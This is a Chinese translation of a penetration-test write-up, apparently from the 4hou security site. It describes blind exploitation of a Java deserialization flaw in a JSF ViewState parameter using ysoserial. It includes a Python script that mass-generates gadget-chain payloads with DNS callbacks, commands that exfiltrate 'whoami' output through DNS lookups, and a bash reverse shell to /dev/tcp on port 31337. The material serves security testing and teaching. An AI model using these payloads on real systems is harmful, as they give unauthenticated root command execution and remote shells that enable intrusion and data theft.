回归最本质的信息安全

;

一次Java反序列化漏洞的 “盲”利用

2017年11月18日发布

48,795
0
6

导语:在黑盒渗透测试中,我们遇到了一个Java Web应用程序,它向我们提供了一个登录页面。尽管我们设法绕过了认证机制,但是我们却做不了什么事情。攻击面还是很小,只能篡改一些东西。

photo.png

在黑盒渗透测试中,我们遇到了一个Java Web应用程序,它向我们提供了一个登录页面。尽管我们设法绕过了认证机制,但是我们却做不了什么事情。攻击面还是很小,只能篡改一些东西。

1.确定入口点

在登录页面中,我注意到每个登录请求都发送了一个隐藏的POST参数:

<input type="hidden" name="com.ibm.faces.PARAM" value="rO0..." />

这是个Base64 RO0 (AC ED的HEX编码)编码的字符串,证实了我们处理的是Base64编码过的Java序列化对象。Java对象实际上是一个未加密的  JSF ViewState。由于反序列化的漏洞以其恶作剧而臭名昭著,所以我开始搞砸了。

2.对输入点进行模糊测试

2.1一些不太幸运的尝试

此时,我不太确定底层的操作系统。通过ysoserial,我生成了一些有效载荷,将用于ping ip,读取文件或造成响应延迟。这包括:

Linux有效载荷:

ping -c 1 server.local
 cat /etc/passwd
 sleep 5

Windows有效载荷:

 ping -n 1 server.local
 type C:Windowswin.ini
 timeout 5

然而没有成功。没有ping或DNS请求到我们的服务器。应用程序始终以HTTP 500内部服务器错误进行响应,并引发了ServletException,但 不提供其他输出信息。服务器马上就响应了,也没有延时。

2.2 在输入点进行爆破

由于无法确定哪个有效载荷能够工作,我必须自动化这个过程。我写了一个快速和肮脏的Python脚本,将生成一个包含所有有效载荷的攻击文件。我做了如下一些事情:

· 只选择接受完整操作系统命令的有效负载作为参数。没有必要(目前)支持  所有 这些payload。所以我删除了几个ysoserial有效载荷。

· 一旦有效载荷被触发,我想知道是哪一个payload以及服务器运行的操作系统版本。

· 由于我不想混淆请求(添加对GET,POST,cookies,HTTP auth等的支持),所以我想用一个换行符分隔的文本文件生成有效载荷,这个文本文件可以作为Burp爆破器的有效载荷的输入文件。

代码如下:

import os
import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + 'n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

generate函数有两个参数:第一个是文件名(例如windows_intruder.txt),第二个是将要执行的命令。我选择了ping我们的服务器IP的命令。应用程序应该ping下面的子域:

{{OS}}.{{PAYLOAD}}.server.local

从而确认操作系统和成功的有效载荷。

3.开始攻击

3.1确认漏洞

我开始生成有效载荷:

1.png

用Burp的爆破器发送所有的有效载荷:

11.png

并检查我们的服务器上的DNS的查询日志:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 (nix.CommonsCollections1.server.local) : query: nix.CommonsCollections1.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 (nix.CommonsCollections6.server.local) : query: nix.CommonsCollections6.server.local IN A -ED (x.x.x.x)

经过一番爆破,我们取得了一石二鸟的战果:现在我们知道系统是基于Linux的,下面的有效载荷允许我们执行任意代码:CommonsCollections1和CommonsCollections6。

3.2提取数据

在尝试创建一个有风险的后端连接(HTTP,TCP等)之前,我决定尝试提取一些数据,从而确认这是一个真正的远程命令执行(IDS解码了base64编码过的值和解析里面的URL也可以发出一个DNS请求。因为它应该触发所有的有效载荷,但是你并没有天天看到有RCE发生 )。使用  CommonsCollections1 小工具,我生成了两个使用以下命令的有效载荷:

`whoami`.exp.server.local
$(whoami).exp.server.local

不幸的是,日志中填充了如下信息:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 (`whoami`.exp.server.local) : query: `whoami`.exp.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 ($(whoami).exp.server.local) : query: $(whoami).exp.server.local IN A -ED (x.x.x.x)

由于某种原因,命令替换似乎不起作用。经过几次失败的尝试后,我决定去看看CommonsCollections1和CommonsCollections6可用的小工具点击这里查看

感谢作者,完整的小工具链作为注释写在了代码中。我们可以很快注意到以下几点:

CommonsCollections1

... SNIP ...
InvokerTransformer.transform()
    Method.invoke()
        Runtime.exec()
CommonsCollections6
... SNIP ...
org.apache.commons.collections.functors.InvokerTransformer.transform()
    java.lang.reflect.Method.invoke()
        java.lang.Runtime.exec()

两个有效载荷的shell命令最终由Java的Runtime.exec()执行。我们知道Runtime.exec() 的行为不像一个普通的shell,  所以我们不得不修改有效载荷。幸运的是,前面提到的文章为我们提供了一个完整的实例。最后的命令应该是这样的:

sh -c $@|sh . echo ping $(whoami).exp.server.local

3.3获得ROOT权限

我们使用ysoserial手动生成负有效载荷 :

java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).exp.server.local' | base64 | tr -d "n"

对有效负载进行URL编码并发送出去。让我们再次检查我们的服务器的DNS日志:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 (root.exp.server.local) : query: root.exp.server.local IN A -ED (x.x.x.x)

看起来今天是我们的幸运日啊。我们得到了一个远程的未经验证的root命令执行。并不是说我们没有见过这个。

当然,我们抓住了这次机会,然后试图获得一个反向的shell:

java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1' | base64 | tr -d "n"

我会让你猜一猜看,上面的命令是否执行成功了;)。 

4.一点总结

在利用Java反序列化漏洞时,我会列举一些需要注意的事项:

· 经过几次失败之后,不要放弃。Java反序列化的利用是相当棘手的,确保在继续之前用尽所有的可能性(有效载荷,命令)。

· 向外部通信一般都是不行的。有时你必须要有创意

· 请确保你没有忘记对由ysoserial生成的有效负载进行URL编码。Burp的爆破器需要URL编码,Burp的重放工具不需要编码所有必要的字符(即使你把它粘贴在“参数”选项卡中)。

· 请查看Burp Suite的Java反序列化插件。有些将会被动地识别序列化的Java对象,有些将帮助你进行漏洞利用。

本文翻译自:https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/,如果转载,请注明来源于嘶吼: http://www.4hou.com/vulnerable/8486.html

点赞 6
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

丝绸之路

嘶吼认证-特约作者/译者

发私信

发表评论